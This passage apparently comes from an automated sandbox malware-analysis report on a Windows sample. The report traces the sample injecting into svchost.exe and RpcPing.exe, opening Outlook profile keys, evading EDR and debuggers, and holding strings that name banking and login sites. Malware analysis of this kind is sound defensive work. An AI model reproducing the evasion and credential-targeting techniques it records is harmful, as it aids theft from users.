Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\RpcPing.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: N2Qncau2rN.exe

Static file information: File size 1401699 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: auuGcaPMTDojV.exe, 00000003.00000000.1802625939.0000000000A0E000.00000002.00000001.01000000.00000004.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4125799190.0000000000A0E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: N2Qncau2rN.exe, 00000000.00000003.1657483680.0000000004690000.00000004.00001000.00020000.00000000.sdmp, N2Qncau2rN.exe, 00000000.00000003.1659461075.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1888606997.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1785147049.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1787099857.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1888606997.000000000359E000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129055443.0000000002DCE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1889918613.0000000002A85000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1885758983.00000000028BC000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129055443.0000000002C30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdbGCTL source: svchost.exe, 00000002.00000003.1850301385.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1850352705.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000003.2198579685.00000000007DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: N2Qncau2rN.exe, 00000000.00000003.1657483680.0000000004690000.00000004.00001000.00020000.00000000.sdmp, N2Qncau2rN.exe, 00000000.00000003.1659461075.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1888606997.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1785147049.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1787099857.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1888606997.000000000359E000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, RpcPing.exe, 00000005.00000002.4129055443.0000000002DCE000.00000040.00001000.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1889918613.0000000002A85000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1885758983.00000000028BC000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4129055443.0000000002C30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RPCPing.pdb source: svchost.exe, 00000002.00000003.1850301385.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1850352705.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000003.00000003.2198579685.00000000007DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RpcPing.exe, 00000005.00000002.4129603004.000000000325C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4127083272.00000000027C2000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185961069.000000000D58C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RpcPing.exe, 00000005.00000002.4129603004.000000000325C000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.4127083272.00000000027C2000.00000004.00000020.00020000.00000000.sdmp, auuGcaPMTDojV.exe, 00000008.00000002.4128831600.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2185961069.000000000D58C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: N2Qncau2rN.exe

Static PE information: real checksum: 0xa961f should be: 0x1655cc

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00416CB5 push ecx; ret	0_2_00416CC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041206B push ebx; ret	2_2_00412074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402011 push edx; iretd	2_2_00402032
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00407116 push esi; retf	2_2_00407117
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A9D8 push ebp; retf	2_2_0041A9D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403210 push eax; ret	2_2_00403212
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404334 push ebx; ret	2_2_00404335
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004143D7 pushfd ; ret	2_2_004143D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401BBB pushad ; retf	2_2_00401BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A45F push esp; ret	2_2_0041A502
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A463 push esp; ret	2_2_0041A502
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041640E push edi; iretd	2_2_00416429
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A503 push esp; ret	2_2_0041A502
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401DE7 push ds; ret	2_2_00401DF3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411594 push es; ret	2_2_00411596
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404E13 push edx; ret	2_2_00404E14
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00406690 push esp; iretd	2_2_00406691
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040A69A push ss; retf	2_2_0040A6A1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411739 push edx; ret	2_2_0041173A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401FC2 push eax; retf	2_2_00401FC5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404FC3 push esp; iretd	2_2_00404FC4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034309AD push ecx; mov dword ptr [esp], ecx	2_2_034309B6
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D00C8E push edx; ret	3_2_04D00C8F
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D104BE pushad ; retf B253h	3_2_04D10507
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D0D40F push es; ret	3_2_04D0D411
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D0D5B4 push edx; ret	3_2_04D0D5B5
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D06515 push ss; retf	3_2_04D0651C
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D0250B push esp; iretd	3_2_04D0250C
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D0DEE6 push ebx; ret	3_2_04D0DEEF
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D00E3E push esp; iretd	3_2_04D00E3F
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe	Code function: 3_2_04D02F91 push esi; retf	3_2_04D02F92

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_0047A330
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00434418

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	API/Special instruction interceptor: Address: 40DF244
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF90818D324
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF90818D7E4
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF90818D944
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF90818D504
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF90818D544
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF90818D1E4
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF908190154
Source: C:\Windows\SysWOW64\RpcPing.exe	API/Special instruction interceptor: Address: 7FF90818DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0347096E rdtsc

2_2_0347096E

Source: C:\Windows\SysWOW64\RpcPing.exe

Window / User API: threadDelayed 9827

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-87598

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	API coverage: 3.4 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\RpcPing.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\RpcPing.exe TID: 5360	Thread sleep count: 147 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 5360	Thread sleep time: -294000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 5360	Thread sleep count: 9827 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe TID: 5360	Thread sleep time: -19654000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe TID: 5232	Thread sleep time: -80000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe TID: 5232	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe TID: 5232	Thread sleep time: -52500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe TID: 5232	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe TID: 5232	Thread sleep time: -38000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\RpcPing.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\RpcPing.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0048C4E0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0048C4E0

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: 0J030901P.5.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 0J030901P.5.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: RpcPing.exe, 00000005.00000002.4127083272.00000000027C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
Source: 0J030901P.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: 0J030901P.5.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: 0J030901P.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: firefox.exe, 0000000A.00000002.2187338395.000002494D56C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 0J030901P.5.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: 0J030901P.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: 0J030901P.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: 0J030901P.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: 0J030901P.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: auuGcaPMTDojV.exe, 00000008.00000002.4128187039.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: 0J030901P.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: 0J030901P.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: 0J030901P.5.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: 0J030901P.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: 0J030901P.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: 0J030901P.5.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: 0J030901P.5.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 0J030901P.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: 0J030901P.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: 0J030901P.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

API call chain: ExitProcess graph end node

graph_0-86723

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0347096E rdtsc

2_2_0347096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004175D3 LdrLoadDll,

2_2_004175D3

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0045A370 BlockInput,

0_2_0045A370

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D590

Source: C:\Users\user\Desktop\N2Qncau2rN.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_040DF4B0 mov eax, dword ptr fs:[00000030h]	0_2_040DF4B0
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_040DF510 mov eax, dword ptr fs:[00000030h]	0_2_040DF510
Source: C:\Users\user\Desktop\N2Qncau2rN.exe	Code function: 0_2_040DDEB0 mov eax, dword ptr fs:[00000030h]	0_2_040DDEB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B2349 mov eax, dword ptr fs:[00000030h]	2_2_034B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov ecx, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B035C mov eax, dword ptr fs:[00000030h]	2_2_034B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA352 mov eax, dword ptr fs:[00000030h]	2_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D8350 mov ecx, dword ptr fs:[00000030h]	2_2_034D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D437C mov eax, dword ptr fs:[00000030h]	2_2_034D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A30B mov eax, dword ptr fs:[00000030h]	2_2_0346A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C310 mov ecx, dword ptr fs:[00000030h]	2_2_0342C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03450310 mov ecx, dword ptr fs:[00000030h]	2_2_03450310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC3CD mov eax, dword ptr fs:[00000030h]	2_2_034EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0343A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034383C0 mov eax, dword ptr fs:[00000030h]	2_2_034383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B63C0 mov eax, dword ptr fs:[00000030h]	2_2_034B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
